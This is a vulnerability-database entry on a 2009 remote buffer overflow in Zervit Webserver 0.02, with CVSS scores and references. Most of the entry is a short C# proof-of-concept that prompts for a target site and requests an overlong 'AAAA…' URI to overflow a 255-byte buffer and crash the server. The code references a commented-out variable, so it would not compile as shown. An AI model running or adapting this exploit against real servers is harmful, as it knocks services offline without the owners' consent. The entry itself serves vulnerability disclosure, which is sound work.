Zervit Webserver Buffer Overflow

2009.04.16
Credit: e.wiZz!
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

####### Zervit Webserver 0.02 Buffer Overflow ########## By: e.wiZz! #########Site: www.balcansecurity.com ######## Found with ServMeNot (world's sexiest fuzzer :P ) In the wild... ######################################################################################## ######Vend0r site: http://www.ohloh.net/projects/mereo /* When requested uri isn't found,it goes to char tmp[255], and later it is used to output,you need 256 chars to overflow (check source "http.c") */ using System; using System.IO; using System.Net; using System.Text; class whatsoever { static void Main() { // StringBuilder sb = new StringBuilder(); //byte[] buf = new byte[8192]; Console.WriteLine("Enter site: (http://localhost)"); string sajt = Console.ReadLine(); string uribad = "/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; HttpWebRequest request = (HttpWebRequest) WebRequest.Create(sajt+uribad); HttpWebResponse response = (HttpWebResponse) request.GetResponse(); // you shouldn't see response Console.WriteLine(sb.ToString()); } }

References:

http://zervit.svn.sourceforge.net/viewvc/zervit/trunk/src/libz/misc.c?view=log
http://zervit.svn.sourceforge.net/viewvc/zervit/trunk/src/libz/misc.c?r1=17&r2=19


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top